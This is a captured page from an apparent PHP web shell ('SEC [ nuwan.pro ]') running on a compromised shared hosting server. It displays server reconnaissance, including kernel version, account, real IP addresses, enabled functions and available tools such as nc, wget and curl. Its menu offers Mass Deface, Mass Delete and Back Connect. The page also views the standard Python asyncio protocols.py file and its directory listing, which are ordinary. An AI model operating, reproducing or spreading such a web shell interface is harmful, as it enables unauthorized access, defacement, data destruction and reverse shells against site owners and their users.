SEC [ nuwan.pro ]

Linux server217.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64

LiteSpeed

198.54.115.226 | Your IP: 216.73.216.130

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ opt / alt / python36 / lib64 / python3.6 / asyncio /

Home Upload Mass Deface Mass Delete Back Connect Info Server

Server Info

Operating System	:	Linux server217.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User / Group	:	7627[nuwazhsc] / 7590[nuwazhsc]
PHP Version	:	8.0.30
IP Server	:	198.54.115.226
Your IP	:	216.73.216.130
Storage	:	Total = 69.29 GB, Free = 44.17 GB [63%]
Domains	:	Cant read [ /etc/named.conf ]
Software	:	LiteSpeed
Disable Functions	:	All function is accessible
Useful Functions	:	gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader	:	wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON \| SSH2 : OFF \| Magic Quotes : OFF \| MySQL : ON \| MSSQL : OFF \| PostgreSQL : ON \| Oracle : OFF
Safe Mode : OFF \| Open Basedir : NONE \| Safe Mode Exec Dir : NONE \| Safe Mode Include Dir : NONE

protocols.py

"""Abstract Protocol class."""

__all__ = ['BaseProtocol', 'Protocol', 'DatagramProtocol',
           'SubprocessProtocol']

class BaseProtocol:
    """Common base class for protocol interfaces.

Usually user implements protocols that derived from BaseProtocol
    like Protocol or ProcessProtocol.

The only case when BaseProtocol should be implemented directly is
    write-only transport like write pipe
    """

def connection_made(self, transport):
        """Called when a connection is made.

The argument is the transport representing the pipe connection.
        To receive data, wait for data_received() calls.
        When the connection is closed, connection_lost() is called.
        """

def connection_lost(self, exc):
        """Called when the connection is lost or closed.

The argument is an exception object or None (the latter
        meaning a regular EOF is received or the connection was
        aborted or closed).
        """

def pause_writing(self):
        """Called when the transport's buffer goes over the high-water mark.

Pause and resume calls are paired -- pause_writing() is called
        once when the buffer goes strictly over the high-water mark
        (even if subsequent writes increases the buffer size even
        more), and eventually resume_writing() is called once when the
        buffer size reaches the low-water mark.

Note that if the buffer size equals the high-water mark,
        pause_writing() is not called -- it must go strictly over.
        Conversely, resume_writing() is called when the buffer size is
        equal or lower than the low-water mark.  These end conditions
        are important to ensure that things go as expected when either
        mark is zero.

NOTE: This is the only Protocol callback that is not called
        through EventLoop.call_soon() -- if it were, it would have no
        effect when it's most needed (when the app keeps writing
        without yielding until pause_writing() is called).
        """

def resume_writing(self):
        """Called when the transport's buffer drains below the low-water mark.

See pause_writing() for details.
        """

class Protocol(BaseProtocol):
    """Interface for stream protocol.

The user should implement this interface.  They can inherit from
    this class but don't need to.  The implementations here do
    nothing (they don't raise exceptions).

When the user wants to requests a transport, they pass a protocol
    factory to a utility function (e.g., EventLoop.create_connection()).

When the connection is made successfully, connection_made() is
    called with a suitable transport object.  Then data_received()
    will be called 0 or more times with data (bytes) received from the
    transport; finally, connection_lost() will be called exactly once
    with either an exception object or None as an argument.

State machine of calls:

start -> CM [-> DR*] [-> ER?] -> CL -> end

* CM: connection_made()
    * DR: data_received()
    * ER: eof_received()
    * CL: connection_lost()
    """

def data_received(self, data):
        """Called when some data is received.

The argument is a bytes object.
        """

def eof_received(self):
        """Called when the other end calls write_eof() or equivalent.

If this returns a false value (including None), the transport
        will close itself.  If it returns a true value, closing the
        transport is up to the protocol.
        """

class DatagramProtocol(BaseProtocol):
    """Interface for datagram protocol."""

def datagram_received(self, data, addr):
        """Called when some datagram is received."""

def error_received(self, exc):
        """Called when a send or receive operation raises an OSError.

(Other than BlockingIOError or InterruptedError.)
        """

class SubprocessProtocol(BaseProtocol):
    """Interface for protocol for subprocess calls."""

def pipe_data_received(self, fd, data):
        """Called when the subprocess writes data into stdout/stderr pipe.

fd is int file descriptor.
        data is bytes object.
        """

def pipe_connection_lost(self, fd, exc):
        """Called when a file descriptor associated with the child process is
        closed.

fd is the int file descriptor that was closed.
        """

def process_exited(self):
        """Called when subprocess has exited."""

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/linksafe	drwxr-xr-x	2024-05-24 06:32:20
..	dir	-	root/linksafe	drwxr-xr-x	2024-05-24 06:32:20
__pycache__	dir	-	root/linksafe	drwxr-xr-x	2024-05-24 06:32:20
__init__.py	text/plain	1.4 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
base_events.py	text/plain	56.52 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
base_futures.py	text/x-script.python	2.03 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
base_subprocess.py	text/x-script.python	8.88 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
base_tasks.py	text/x-script.python	2.13 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
compat.py	text/plain	543 B	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
constants.py	text/plain	371 B	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
coroutines.py	text/x-script.python	10.87 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
events.py	text/plain	22.96 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
futures.py	text/plain	15.53 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
locks.py	text/plain	15.22 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
log.py	text/plain	124 B	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
proactor_events.py	text/plain	19.92 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
protocols.py	text/plain	4.41 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
queues.py	text/plain	7.77 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
selector_events.py	text/plain	40.66 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
sslproto.py	text/x-script.python	25.4 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
streams.py	text/plain	23.9 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
subprocess.py	text/x-script.python	7.45 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
tasks.py	text/plain	24.47 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
test_utils.py	text/plain	14.74 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
transports.py	text/plain	9.83 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
unix_events.py	text/plain	36.39 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
windows_events.py	text/plain	27.18 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39
windows_utils.py	text/plain	6.72 KB	root/linksafe	-rw-r--r--	2024-04-17 05:19:39